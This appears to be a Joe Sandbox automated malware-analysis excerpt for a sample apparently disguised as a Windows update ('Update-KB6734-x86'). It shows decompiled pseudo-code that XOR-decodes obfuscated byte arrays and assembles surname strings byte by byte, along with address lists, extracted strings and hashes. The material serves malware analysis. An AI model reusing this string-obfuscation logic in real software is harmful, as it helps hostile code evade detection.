				_v4 = _t428;
				_v0 =  &_a380;
				_a4 =  &_a348;
				_a8 =  &_a300;
				_a12 =  &_a276;
				_a16 = _v28;
				_a20 =  &_a432;
				_a24 = _v20;
				_a28 =  &_a388;
				_t446 =  &_a284; // 0x65
				_a32 = _t446;
				_a36 =  &_a364;
				_a44 =  &_a420;
				_a48 =  &_a308;
				_a56 =  &_a396;
				 *0x431c89 = 0x19;
				_a408 = 0x67;
				_a409 = 0x6f;
				_a410 = 0x6e;
				_a411 = 0x7a;
				_a412 = 0x61;
				_a413 = 0x6c;
				_a414 = 0x65;
				_a415 = 0x7a;
				_a416 = __ebx;
				_a172 = 0x6e;
				_a173 = 0x65;
				_a174 = 0x6c;
				_a175 = 0x73;
				_a176 = 0x6f;
				_a177 = 0x6e;
				_a178 = __ebx;
				_a152 = 0x63;
				_a153 = 0x61;
				_a154 = 0x72;
				_a155 = 0x74;
				_a156 = 0x65;
				_a157 = 0x72;
				_a158 = __ebx;
				_a40 = _t711;
				_a52 = _t723;
				_a60 =  &_a236;
				_a64 =  &_a456;
				_a68 = _v24;
				_a72 =  &_v36;
				_a76 =  &_a324;
				_a80 =  &_a188;
				_t493 =  &_a268; // 0x61
				_a84 = _t493;
				_a88 =  &_a252;
				_t497 =  &_a468; // 0x69
				_a92 = _t497;
				_a96 =  &_a180;
				_a100 =  &_a340;
				_a108 = _t569;
				_a104 =  &_a212;
				_a112 =  &_a204;
				_a116 =  &_a244;
				_t512 =  &_a408; // 0x67
				_a120 =  &_a144;
				_a124 =  &_a164;
				_a128 = _t512;
				_a132 =  &_a172;
				_a136 =  &_a152;
				_a140 = _v32;
				_t573 = E0040C1D0( &_a172);
				_t720 =  *((intOrPtr*)(_t725 + 0x28 + _t573 % 0x28 * 4));
				_t575 =  *((intOrPtr*)(_t725 + 0x28 + _t573 % 0x28 * 4));
				_t712 = _t575 + 1;
				do {
					_t649 =  *_t575;
					_t575 = _t575 + 1;
				} while (_t649 != __ebx);
				return E00424873(E004028A0(_a488, _t720, _t575 - _t712), _a472);
			}

0x0040ef78
0x0040ef78
0x0040ef80
0x0040ef87
0x0040ef8e
0x0040ef95
0x0040ef96
0x0040ef9d
0x0040ef9e
0x0040efbc
0x0040efca
0x0040efe0
0x0040efee
0x0040effc
0x0040f012
0x0040f019
0x0040f022
0x0040f02b
0x0040f032
0x0040f03a
0x0040f041
0x0040f049
0x0040f051
0x0040f059
0x0040f061
0x0040f069
0x0040f071
0x0040f079
0x0040f081
0x0040f088
0x0040f090
0x0040f097
0x0040f0a4
0x0040f0a8
0x0040f0b0
0x0040f0b8
0x0040f0c0
0x0040f0c8
0x0040f0d0
0x0040f0d8
0x0040f0e0
0x0040f0e2
0x0040f0f0
0x0040f0f7
0x0040f0fe
0x0040f105
0x0040f106
0x0040f10d
0x0040f10e
0x0040f129
0x0040f13f
0x0040f14d
0x0040f15b
0x0040f171
0x0040f178
0x0040f17f
0x0040f186
0x0040f18e
0x0040f196
0x0040f19e
0x0040f1a6
0x0040f1ae
0x0040f1b6
0x0040f1be
0x0040f1c0
0x0040f1d0
0x0040f1d7
0x0040f1de
0x0040f1e5
0x0040f1e6
0x0040f1ed
0x0040f1ee
0x0040f20c
0x0040f21a
0x0040f22d
0x0040f23b
0x0040f247
0x0040f257
0x0040f25e
0x0040f265
0x0040f26e
0x0040f27a
0x0040f282
0x0040f289
0x0040f290
0x0040f298
0x0040f2a0
0x0040f2a8
0x0040f2b0
0x0040f2b8
0x0040f2bf
0x0040f2c7
0x0040f2cf
0x0040f2d7
0x0040f2df
0x0040f2e7
0x0040f2ef
0x0040f2f6
0x0040f2fe
0x0040f306
0x0040f30e
0x0040f315
0x0040f31d
0x0040f322
0x0040f32b
0x0040f333
0x0040f337
0x0040f33f
0x0040f347
0x0040f34f
0x0040f357
0x0040f35f
0x0040f367
0x0040f36f
0x0040f377
0x0040f37e
0x0040f386
0x0040f38e
0x0040f396
0x0040f39e
0x0040f3a6
0x0040f3ae
0x0040f3b6
0x0040f3be
0x0040f3c6
0x0040f3ce
0x0040f3d6
0x0040f3de
0x0040f3e6
0x0040f3f3
0x0040f3f7
0x0040f3ff
0x0040f407
0x0040f40f
0x0040f417
0x0040f41f
0x0040f427
0x0040f42f
0x0040f437
0x0040f439
0x0040f440
0x0040f447
0x0040f44e
0x0040f455
0x0040f456
0x0040f45d
0x0040f45e
0x0040f47c
0x0040f48d
0x0040f49e
0x0040f4ae
0x0040f4c0
0x0040f4d1
0x0040f4d8
0x0040f4e3
0x0040f4ea
0x0040f4f2
0x0040f4f9
0x0040f500
0x0040f508
0x0040f510
0x0040f518
0x0040f520
0x0040f528
0x0040f52f
0x0040f537
0x0040f53f
0x0040f547
0x0040f54f
0x0040f557
0x0040f55f
0x0040f566
0x0040f56e
0x0040f576
0x0040f57e
0x0040f586
0x0040f58e
0x0040f596
0x0040f59e
0x0040f5a6
0x0040f5ae
0x0040f5b6
0x0040f5be
0x0040f5c6
0x0040f5ce
0x0040f5db
0x0040f5dd
0x0040f5e5
0x0040f5ed
0x0040f5f5
0x0040f5fd
0x0040f605
0x0040f60d
0x0040f615
0x0040f61d
0x0040f624
0x0040f62c
0x0040f634
0x0040f63c
0x0040f644
0x0040f64c
0x0040f654
0x0040f65b
0x0040f663
0x0040f66b
0x0040f673
0x0040f67b
0x0040f683
0x0040f68b
0x0040f694
0x0040f69c
0x0040f6a4
0x0040f6ac
0x0040f6b4
0x0040f6bc
0x0040f6c4
0x0040f6cc
0x0040f6d4
0x0040f6dc
0x0040f6e4
0x0040f6ec
0x0040f6f4
0x0040f6fc
0x0040f701
0x0040f70a
0x0040f712
0x0040f714
0x0040f71c
0x0040f724
0x0040f72c
0x0040f734
0x0040f73c
0x0040f744
0x0040f74c
0x0040f754
0x0040f75b
0x0040f763
0x0040f76b
0x0040f773
0x0040f77b
0x0040f783
0x0040f78a
0x0040f792
0x0040f79a
0x0040f7a2
0x0040f7aa
0x0040f7b2
0x0040f7ba
0x0040f7c2
0x0040f7ca
0x0040f7d2
0x0040f7d9
0x0040f7e1
0x0040f7e9
0x0040f7f1
0x0040f7f9
0x0040f801
0x0040f809
0x0040f811
0x0040f819
0x0040f821
0x0040f829
0x0040f831
0x0040f83e
0x0040f842
0x0040f847
0x0040f84c
0x0040f851
0x0040f855
0x0040f85d
0x0040f865
0x0040f86d
0x0040f875
0x0040f87d
0x0040f885
0x0040f88c
0x0040f894
0x0040f89c
0x0040f8a4
0x0040f8ac
0x0040f8b3
0x0040f8bb
0x0040f8c3
0x0040f8cb
0x0040f8d3
0x0040f8dc
0x0040f8e4
0x0040f8ec
0x0040f8f3
0x0040f8fb
0x0040f903
0x0040f90b
0x0040f913
0x0040f91b
0x0040f922
0x0040f92a
0x0040f932
0x0040f93a
0x0040f942
0x0040f94a
0x0040f952
0x0040f95a
0x0040f962
0x0040f96a
0x0040f971
0x0040f979
0x0040f981
0x0040f989
0x0040f991
0x0040f998
0x0040f9a0
0x0040f9a8
0x0040f9b0
0x0040f9b8
0x0040f9c0
0x0040f9c8
0x0040f9cf
0x0040f9d7
0x0040f9df
0x0040f9e7
0x0040f9ef
0x0040f9f7
0x0040f9fe
0x0040fa06
0x0040fa0e
0x0040fa16
0x0040fa1e
0x0040fa26
0x0040fa2e
0x0040fa36
0x0040fa3e
0x0040fa46
0x0040fa4e
0x0040fa53
0x0040fa5b
0x0040fa63
0x0040fa6b
0x0040fa73
0x0040fa7b
0x0040fa83
0x0040fa85
0x0040fa90
0x0040fa97
0x0040faa2
0x0040faad
0x0040faae
0x0040fab5
0x0040fab6
0x0040facb
0x0040fadf
0x0040faed
0x0040fb01
0x0040fb0f
0x0040fb19
0x0040fb1e
0x0040fb25
0x0040fb2d
0x0040fb35
0x0040fb3d
0x0040fb45
0x0040fb4d
0x0040fb54
0x0040fb5c
0x0040fb64
0x0040fb6c
0x0040fb74
0x0040fb7c
0x0040fb83
0x0040fb8b
0x0040fb93
0x0040fb9b
0x0040fba3
0x0040fbab
0x0040fbb3
0x0040fbb5
0x0040fbc0
0x0040fbc7
0x0040fbce
0x0040fbd5
0x0040fbdc
0x0040fbdd
0x0040fbe4
0x0040fbe7
0x0040fbeb
0x0040fbeb
0x0040fc08
0x0040fc16
0x0040fc2a
0x0040fc38
0x0040fc4c
0x0040fc53
0x0040fc61
0x0040fc69
0x0040fc6d
0x0040fc74
0x0040fc78
0x0040fc7f
0x0040fc8a
0x0040fc95
0x0040fca0
0x0040fcaf
0x0040fcb3
0x0040fcc2
0x0040fcc6
0x0040fcd1
0x0040fcd5
0x0040fcdc
0x0040fce7
0x0040fcf9
0x0040fd04
0x0040fd0f
0x0040fd13
0x0040fd1a
0x0040fd22
0x0040fd2a
0x0040fd32
0x0040fd3a
0x0040fd42
0x0040fd4a
0x0040fd52
0x0040fd5a
0x0040fd61
0x0040fd69
0x0040fd71
0x0040fd79
0x0040fd81
0x0040fd89
0x0040fd91
0x0040fd98
0x0040fda0
0x0040fda8
0x0040fdb0
0x0040fdb8
0x0040fdc0
0x0040fdc8
0x0040fdcf
0x0040fdd3
0x0040fdd7
0x0040fde6
0x0040fdea
0x0040fdf5
0x0040fe03
0x0040fe11
0x0040fe18
0x0040fe1f
0x0040fe2d
0x0040fe34
0x0040fe3b
0x0040fe49
0x0040fe57
0x0040fe5e
0x0040fe7a
0x0040fe81
0x0040fe88
0x0040fe9d
0x0040fea4
0x0040feab
0x0040feb2
0x0040fecb
0x0040fed2
0x0040fed9
0x0040fee0
0x0040feef
0x0040fef3
0x0040fef5
0x0040fef8
0x0040fef8
0x0040fefa
0x0040fefb
0x0040ff24

Strings

a, xrefs: 0040FB54
gibor, xrefs: 0040FE9D
a, xrefs: 0040FDA0
s, xrefs: 0040FD79
d, xrefs: 0040F79A
g, xrefs: 0040F624
d, xrefs: 0040F347
a, xrefs: 0040F62C
e, xrefs: 0040F847
e, xrefs: 0040F92A
6, xrefs: 0040F2DF
r, xrefs: 0040F6F4
t, xrefs: 0040F518
i, xrefs: 0040F9A8
g, xrefs: 0040F989
n, xrefs: 0040F615
#, xrefs: 0040FA1E
a, xrefs: 0040F85D
k, xrefs: 0040F971
b, xrefs: 0040F3CE
e, xrefs: 0040FB3D
3, xrefs: 0040F0B0
o, xrefs: 0040F2A0
e, xrefs: 0040F95A
B, xrefs: 0040F5CE
h, xrefs: 0040FA53
lybor, xrefs: 0040FC6D
a, xrefs: 0040FB64
d, xrefs: 0040FA0E
q, xrefs: 0040F2E7
r, xrefs: 0040F357
7, xrefs: 0040F65B
s, xrefs: 0040F35F
z, xrefs: 0040FD52
g, xrefs: 0040FB25
e, xrefs: 0040F84C
r, xrefs: 0040F9A0
r, xrefs: 0040FB2D
m, xrefs: 0040FB6C
], xrefs: 0040F7F9
l, xrefs: 0040F842
b, xrefs: 0040F724
r, xrefs: 0040FDA8
m, xrefs: 0040F5F5
g, xrefs: 0040F913
r, xrefs: 0040F87D
agy, xrefs: 0040FE18
J, xrefs: 0040F196
r, xrefs: 0040FDC0
e, xrefs: 0040F520
>, xrefs: 0040FA5B
n, xrefs: 0040F981
h, xrefs: 0040F508
h, xrefs: 0040F596
r, xrefs: 0040F2A8
r, xrefs: 0040F78A
o, xrefs: 0040F298
h, xrefs: 0040F5E5
n, xrefs: 0040FB45
a, xrefs: 0040F942
w, xrefs: 0040F500
y, xrefs: 0040F8F3
k, xrefs: 0040F86D
t, xrefs: 0040F9C0
5, xrefs: 0040FA06
n, xrefs: 0040F36F
p, xrefs: 0040F5FD
eroon, xrefs: 0040FCD5
o, xrefs: 0040F8FB
z, xrefs: 0040F962
o, xrefs: 0040F71C
w, xrefs: 0040F855
i, xrefs: 0040F979
e, xrefs: 0040F3BE
a, xrefs: 0040F337
i, xrefs: 0040F644
herej, xrefs: 0040FC78
e, xrefs: 0040F8CB
t, xrefs: 0040F5DD
o, xrefs: 0040F5ED
`, xrefs: 0040F6B4
n, xrefs: 0040FD89
g, xrefs: 0040F9B0
r, xrefs: 0040F634
l, xrefs: 0040F801
o, xrefs: 0040F367
w, xrefs: 0040F998
r, xrefs: 0040F7A2
e, xrefs: 0040FD69
irdor, xrefs: 0040FE34
e, xrefs: 0040F875
n, xrefs: 0040F33F
o, xrefs: 0040F792
t, xrefs: 0040FDB0
n, xrefs: 0040F8E4
l, xrefs: 0040FD42
p, xrefs: 0040F39E
n, xrefs: 0040F94A
r, xrefs: 0040F714
s, xrefs: 0040F605
>, xrefs: 0040F2D7
l, xrefs: 0040FD71
d, xrefs: 0040F952
e, xrefs: 0040FB35
n, xrefs: 0040F90B
c, xrefs: 0040F63C
m, xrefs: 0040F6E4
6, xrefs: 0040F663
d, xrefs: 0040FB5C
n, xrefs: 0040F93A
r, xrefs: 0040F932
o, xrefs: 0040FD81
h, xrefs: 0040F922
h, xrefs: 0040F9B8
e, xrefs: 0040FD4A
i, xrefs: 0040F510
i, xrefs: 0040F72C
e, xrefs: 0040F34F
s, xrefs: 0040FB74
H, xrefs: 0040F069
a, xrefs: 0040F64C
n, xrefs: 0040FD61
i, xrefs: 0040F67B
l, xrefs: 0040F6C4
c, xrefs: 0040FD98
l, xrefs: 0040F865
s, xrefs: 0040F557
u, xrefs: 0040F903
o, xrefs: 0040F60D
e, xrefs: 0040FDB8

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: #$3$5$6$6$7$>$>$B$H$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
API String ID: 0-226567699
Opcode ID: 5bf2394e186fa3740055896f63d422ae9df793a170122944e5eb4f5801406b64
Instruction ID: 897faa67981242d41c61dfb40b62df43763f7642aa4407e7da9ffeee02b4687e
Opcode Fuzzy Hash: 5bf2394e186fa3740055896f63d422ae9df793a170122944e5eb4f5801406b64
Instruction Fuzzy Hash: 36929F2400D7C189E332C72884587DFBFD25BA6718F488E9ED4ED1B292C6BA0159C767

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E9, Relevance: 160.6, Strings: 128, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040F0E9(void* __eax, char __ebx, void* __esi, intOrPtr _a4, char* _a8, signed char* _a12, char* _a16, char* _a20, intOrPtr _a24, char* _a28, intOrPtr _a32, char* _a36, intOrPtr _a40, char* _a44, intOrPtr _a48, signed char* _a52, char* _a56, intOrPtr _a60, signed char* _a64, char* _a68, char* _a72, intOrPtr _a76, char* _a80, char* _a84, signed int* _a88, intOrPtr _a92, char* _a96, intOrPtr _a100, char* _a104, char* _a108, char* _a112, intOrPtr _a116, signed char* _a120, char* _a124, char* _a128, signed char* _a132, intOrPtr _a136, signed int* _a140, char* _a144, intOrPtr _a148, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a160, char _a161, char _a162, char _a163, char _a164, char _a165, char _a166, signed char _a172, signed char _a173, signed char _a174, signed char _a175, signed char _a176, signed char _a177, signed int _a180, signed int _a181, signed int _a182, signed int _a183, signed int _a184, signed int _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, signed int _a198, signed int _a199, signed int _a200, signed int _a201, signed int _a202, signed int _a203, signed int _a204, signed int _a205, signed int _a206, char _a207, char _a208, signed char _a212, signed char _a213, signed char _a214, signed char _a215, signed char _a216, signed char _a217, char _a220, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a244, char _a252, char _a253, char _a254, char _a255, char _a256, char _a257, char _a260, char _a261, char _a262, char _a263, char _a264, char _a265, char _a268, char _a269, char _a270, char _a271, char _a272, char _a273, char _a276, char _a284, char _a285, char _a286, char _a287, char _a288, char _a289, char _a292, char _a300, char _a308, char _a316, char _a324, char _a325, char _a326, char _a327, char _a328, char _a329, char _a332, char _a333, char _a334, char _a335, char _a336, char _a337, char _a340, char _a341, char _a342, char _a343, char _a344, char _a345, char _a346, char _a348, signed char _a356, signed char _a357, signed char _a358, signed char _a359, signed char _a360, signed char _a361, signed char _a362, char _a372, char _a380, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a396, signed char _a404, signed char _a405, signed char _a406, signed char _a407, signed char _a408, signed char _a409, signed char _a410, char _a416, char _a417, char _a418, char _a419, char _a420, char _a421, char _a422, char _a423, char _a424, char _a425, char _a426, char _a427, signed char _a428, signed char _a429, signed char _a430, signed char _a431, signed char _a432, signed char _a433, signed char _a434, signed char _a435, char _a440, char _a452, char _a453, char _a454, char _a455, char _a456, char _a457, char _a458, char _a459, char _a460, char _a464, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a482, char _a483, char _a484, char _a485, char _a486, char _a487, char _a488, char _a489, char _a490, char _a491, char _a492, char _a493, intOrPtr _a496) {
				intOrPtr _v0;
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v33;
				void* _t486;
				void* _t493;
				char* _t501;
				void* _t503;
				intOrPtr _t512;
				intOrPtr _t514;
				signed int _t518;
				intOrPtr* _t520;
				char _t526;
				char _t531;
				char _t540;
				void* _t552;
				signed char _t559;
				signed char _t561;
				intOrPtr _t586;
				char _t616;
				intOrPtr _t642;
				void* _t643;
				void* _t645;
				signed int _t646;
				void* _t647;
				signed char _t648;
				void* _t649;
				intOrPtr _t653;
				void* _t655;

				_t645 = __esi;
				_t486 = __eax;
				do {
					_t526 =  *((intOrPtr*)(_t655 + _t486 + 0xc8));
					 *((char*)(_t655 + _t486 + 0xc8)) =  *((intOrPtr*)(_t655 + _t645 + 0xc8));
					_t486 = _t486 + 1;
					 *((char*)(_t655 + _t645 + 0xc8)) = _t526;
					_t645 = _t645 - 1;
				} while (_t486 < _t645);
				_a404 = _a200 ^ 0x00000071;
				_a407 = _a203 ^ 0x000000e3;
				_a405 = _a201 ^ 0x00000012;
				_a406 = _a202 ^ 0x000000b8;
				_a410 = _a206 ^ 0x000000f0;
				_a408 = _a204 ^ 0x0000001a;
				_a409 = _a205 ^ 0x00000041;
				_a200 = 0xac;
				_a201 = 0x88;
				_a202 = 0x4a;
				_a203 = 0xc7;
				_a204 = 0xee;
				_a205 = 0x67;
				_a206 = 0xfc;
				_t493 = 0;
				_t646 = 6;
				do {
					_t531 =  *((intOrPtr*)(_t655 + _t493 + 0xc8));
					 *((char*)(_t655 + _t493 + 0xc8)) =  *((intOrPtr*)(_t655 + _t646 + 0xc8));
					_t493 = _t493 + 1;
					 *((char*)(_t655 + _t646 + 0xc8)) = _t531;
					_t646 = _t646 - 1;
				} while (_t493 < _t646);
				_a356 = _a200 ^ 0x0000008b;
				_a357 = _a201 ^ 0x0000000e;
				_a359 = _a203 ^ 0x000000b4;
				_a360 = _a204 ^ 0x00000025;
				_a358 = _a202 ^ 0x00000082;
				_a388 = 0xdb;
				_a206 = 0xdb;
				_push(7);
				_a362 = _a206 ^ 0x000000ac;
				_push( &_a388);
				_a361 = _a205 ^ 0x000000e6;
				 *0x431c89 = 0x19;
				_a332 = 0x6d;
				_a333 = 0x6f;
				_a334 = 0x6f;
				_a335 = 0x72;
				_a336 = 0x65;
				_a337 = __ebx;
				_a389 = 0x81;
				_a390 = 0xe5;
				_a391 = 0x9f;
				_a392 = 0x3e;
				_a393 = 0x36;
				_a394 = 0x71;
				_a200 = 0xc6;
				_a201 = 0xb2;
				_a202 = 0xd3;
				_a203 = 0xaa;
				_a204 = 0xc6;
				_a205 = 0xa9;
				_t501 = E0040D980( &_a200);
				_push(7);
				_push( &_a404);
				_a20 = _t501;
				_a480 = 0x61;
				_a481 = 0x6e;
				_a482 = 0x64;
				_a483 = 0x65;
				_a484 = 0x72;
				_a485 = 0x73;
				_a486 = 0x6f;
				_a487 = 0x6e;
				_a488 = __ebx;
				_a404 = 0xae;
				_a405 = 0xa8;
				_a406 = 0xa6;
				_a407 = 0xbf;
				_a408 = 0x70;
				_a409 = 0x89;
				_a410 = 0x13;
				_a192 = 0x11;
				_a193 = 0x65;
				_a194 = 0xd;
				_a195 = 0x62;
				_a196 = 0xf;
				_a197 = 0x6e;
				_a198 = 0x1d;
				_a20 = E0040D980( &_a192);
				_a192 = 0xa8;
				_a193 = 0xa2;
				_a194 = 0xaf;
				_a195 = 0xb1;
				_a196 = 0x15;
				_a197 = 0xd5;
				_a198 = 0x82;
				_a199 = 0x58;
				_t503 = 0;
				_t647 = 7;
				do {
					_t540 =  *((intOrPtr*)(_t655 + _t503 + 0xd0));
					 *((char*)(_t655 + _t503 + 0xd0)) =  *((intOrPtr*)(_t655 + _t647 + 0xd0));
					_t503 = _t503 + 1;
					 *((char*)(_t655 + _t647 + 0xd0)) = _t540;
					_t647 = _t647 - 1;
				} while (_t503 < _t647);
				_a429 = _a193 ^ 0x000000e3;
				_a428 = _a192 ^ 0x00000032;
				_a430 = _a194 ^ 0x000000b6;
				_a432 = _a196 ^ 0x000000c2;
				_a431 = _a195 ^ 0x0000007e;
				_a433 = _a197 ^ 0x000000c0;
				_push(7);
				_a435 = _a199 ^ 0x000000a8;
				_push( &_a356);
				_a434 = _a198 ^ 0x000000cc;
				 *0x431c89 = 0x19;
				_a324 = 0x77;
				_a325 = 0x68;
				_a326 = 0x69;
				_a327 = 0x74;
				_a328 = 0x65;
				_a329 = __ebx;
				_a404 = 0x68;
				_a405 = 0x61;
				_a406 = 0x72;
				_a407 = 0x72;
				_a408 = 0x69;
				_a409 = 0x73;
				_a410 = __ebx;
				_a356 = 0x2a;
				_a357 = 0x9c;
				_a358 = 0xed;
				_a359 = 0x35;
				_a360 = 0x4a;
				_a361 = 0x35;
				_a362 = 0x68;
				_a184 = 0x4f;
				_a185 = 0x22;
				_a186 = 0x43;
				_a187 = 0x31;
				_a188 = 0x45;
				_a189 = 0x2c;
				_a190 = 0x42;
				_t642 = E0040D980( &_a184);
				_a452 = 0x74;
				_a453 = 0x68;
				_a454 = 0x6f;
				_a455 = 0x6d;
				_a456 = 0x70;
				_a457 = 0x73;
				_a458 = 0x6f;
				_a459 = 0x6e;
				_a460 = __ebx;
				_a340 = 0x67;
				_a341 = 0x61;
				_a342 = 0x72;
				_a343 = 0x63;
				_a344 = 0x69;
				_a345 = 0x61;
				_a346 = __ebx;
				_a476 = 0x37;
				_a477 = 0x36;
				_a478 = 0xb3;
				_a479 = 0xc1;
				_a480 = 0x69;
				_a481 = 0x80;
				_push(9);
				_push( &_a476);
				_a482 = 0xc4;
				_a483 = 0x8e;
				_a484 = 0x89;
				_a184 = 0x60;
				_a185 = 0xd;
				_a186 = 0x6c;
				_a187 = 0x1e;
				_a188 = 0x6a;
				_a189 = 3;
				_a190 = 0x6d;
				_a191 = 8;
				_a192 = 0x72;
				_t512 = E0040D980( &_a184);
				_push(6);
				_push( &_a284);
				_t653 = _t512;
				_a420 = 0x72;
				_a421 = 0x6f;
				_a422 = 0x62;
				_a423 = 0x69;
				_a424 = 0x6e;
				_a425 = 0x73;
				_a426 = 0x6f;
				_a427 = 0x6e;
				_a428 = __ebx;
				_a260 = 0x63;
				_a261 = 0x6c;
				_a262 = 0x61;
				_a263 = 0x72;
				_a264 = 0x6b;
				_a265 = __ebx;
				_a480 = 0x72;
				_a481 = 0x6f;
				_a482 = 0x64;
				_a483 = 0x72;
				_a484 = 0x69;
				_a485 = 0x67;
				_a486 = 0x75;
				_a487 = 0x65;
				_a488 = 0x7a;
				_a489 = __ebx;
				_a284 = 0xfd;
				_a285 = 0xda;
				_a286 = 0x64;
				_a287 = 0xb0;
				_a288 = 0x5d;
				_a289 = 0x6c;
				_a196 = 0xc2;
				_a197 = 0xae;
				_a198 = 0xcb;
				_a199 = 0xbc;
				_a200 = 0xd5;
				_a201 = 0xa6;
				_v8 = E0040D980( &_a196);
				_v20 = 0x6c;
				_v19 = 0x65;
				_v18 = 0x65;
				_v17 = __ebx;
				_a340 = 0x77;
				_a341 = 0x61;
				_a342 = 0x6c;
				_a343 = 0x6b;
				_a344 = 0x65;
				_a345 = 0x72;
				_a346 = __ebx;
				_a204 = 0x68;
				_a205 = 0x61;
				_a206 = 0x6c;
				_a207 = 0x6c;
				_a208 = __ebx;
				_a284 = 0x61;
				_a285 = 0x6c;
				_a286 = 0x6c;
				_a287 = 0x65;
				_push(5);
				_push( &_a212);
				_a288 = 0x6e;
				_a289 = __ebx;
				_a268 = 0x79;
				_a269 = 0x6f;
				_a270 = 0x75;
				_a271 = 0x6e;
				_a272 = 0x67;
				_a273 = __ebx;
				_a484 = 0x68;
				_a485 = 0x65;
				_a486 = 0x72;
				_a487 = 0x6e;
				_a488 = 0x61;
				_a489 = 0x6e;
				_a490 = 0x64;
				_a491 = 0x65;
				_a492 = 0x7a;
				_a493 = __ebx;
				_a196 = 0x6b;
				_a197 = 0x69;
				_a198 = 0x6e;
				_a199 = 0x67;
				_a200 = __ebx;
				_a356 = 0x77;
				_a357 = 0x72;
				_a358 = 0x69;
				_a359 = 0x67;
				_a360 = 0x68;
				_a361 = 0x74;
				_a362 = __ebx;
				_a228 = 0x6c;
				_a229 = 0x6f;
				_a230 = 0x70;
				_a231 = 0x65;
				_a232 = 0x7a;
				_a233 = __ebx;
				_a212 = 0xc7;
				_a213 = 0x35;
				_a214 = 0x64;
				_a215 = 0x14;
				_a216 = 0x23;
				_a180 = 0x60;
				_a181 = 8;
				_a182 = 0x61;
				_a183 = 0xd;
				_a184 = 0x61;
				_t514 = E0040D980( &_a180);
				_a172 = 0x68;
				_a173 = 0x3e;
				_a174 = 0xbb;
				_a175 = 0xf0;
				_a176 = 0xec;
				_a177 = 0xa1;
				_t552 = 0;
				_t648 = 5;
				do {
					_v33 =  *((intOrPtr*)(_t655 + _t552 + 0xe0));
					 *((char*)(_t655 + _t552 + 0xe0)) =  *((intOrPtr*)(_t655 + _t648 + 0xe0));
					_t552 = _t552 + 1;
					 *((char*)(_t655 + _t648 + 0xe0)) = _v33;
					_t648 = _t648 - 1;
				} while (_t552 < _t648);
				_a212 = _a172 ^ 0x000000d2;
				_a213 = _a173 ^ 0x0000008f;
				_a214 = _a174 ^ 0x0000009f;
				_a215 = _a175 ^ 0x000000cf;
				_a216 = _a176 ^ 0x0000004a;
				_t559 = 5;
				_a217 = _a177 ^ 0x00000068;
				_a252 = 0x67;
				_a253 = 0x72;
				_a254 = 0x65;
				_a255 = 0x65;
				_a256 = 0x6e;
				_a257 = __ebx;
				_a152 = 0x61;
				_a153 = 0x64;
				_a154 = 0x61;
				_a155 = 0x6d;
				_a156 = 0x73;
				_a157 = __ebx;
				_a180 = 0x7a;
				_a181 = 0x24;
				_a182 = 0x9b;
				_a183 = 6;
				_a184 = 0x77;
				_a185 = 0xe5;
				_t649 = 0;
				_a172 = 5;
				do {
					_t616 =  *((intOrPtr*)(_t655 + _t649 + 0xe8));
					 *((char*)(_t655 + _t649 + 0xe8)) =  *((intOrPtr*)(_t655 + _t559 + 0xe8));
					_t561 = _a172;
					_t649 = _t649 + 1;
					 *((char*)(_t655 + _t561 + 0xe8)) = _t616;
					_t559 = _t561 - 1;
					_v33 = _t616;
					_a172 = _t559;
				} while (_t649 < _t559);
				_a172 = _a180 ^ 0x00000087;
				_a173 = _a181 ^ 0x00000016;
				_a174 = _a182 ^ 0x0000006d;
				_a175 = _a183 ^ 0x000000fe;
				_a176 = _a184 ^ 0x00000056;
				_a177 = _a185 ^ 0x0000007a;
				_v8 =  &_a300;
				_v4 =  &_v32;
				_t380 =  &_a228; // 0x6c
				_v0 = _t380;
				_t382 =  &_a380; // 0x68
				_a4 = _t382;
				_a8 =  &_a388;
				_a12 =  &_a356;
				_a16 =  &_a308;
				_a20 =  &_a284;
				_a24 = _v20;
				_a28 =  &_a440;
				_a32 = _v12;
				_a36 =  &_a396;
				_t400 =  &_a292; // 0x65
				_a40 = _t400;
				_a44 =  &_a372;
				_a52 =  &_a428;
				_a56 =  &_a316;
				_a64 =  &_a404;
				 *0x431c89 = 0x19;
				_a416 = 0x67;
				_a417 = 0x6f;
				_a418 = 0x6e;
				_a419 = 0x7a;
				_a420 = 0x61;
				_a421 = 0x6c;
				_a422 = 0x65;
				_a423 = 0x7a;
				_a424 = __ebx;
				_a180 = 0x6e;
				_a181 = 0x65;
				_a182 = 0x6c;
				_a183 = 0x73;
				_a184 = 0x6f;
				_a185 = 0x6e;
				_a186 = __ebx;
				_a160 = 0x63;
				_a161 = 0x61;
				_a162 = 0x72;
				_a163 = 0x74;
				_a164 = 0x65;
				_a165 = 0x72;
				_a166 = __ebx;
				_a48 = _t642;
				_a60 = _t653;
				_a68 =  &_a244;
				_a72 =  &_a464;
				_a76 = _v16;
				_a80 =  &_v28;
				_a84 =  &_a332;
				_a88 =  &_a196;
				_t447 =  &_a276; // 0x61
				_a92 = _t447;
				_a96 =  &_a260;
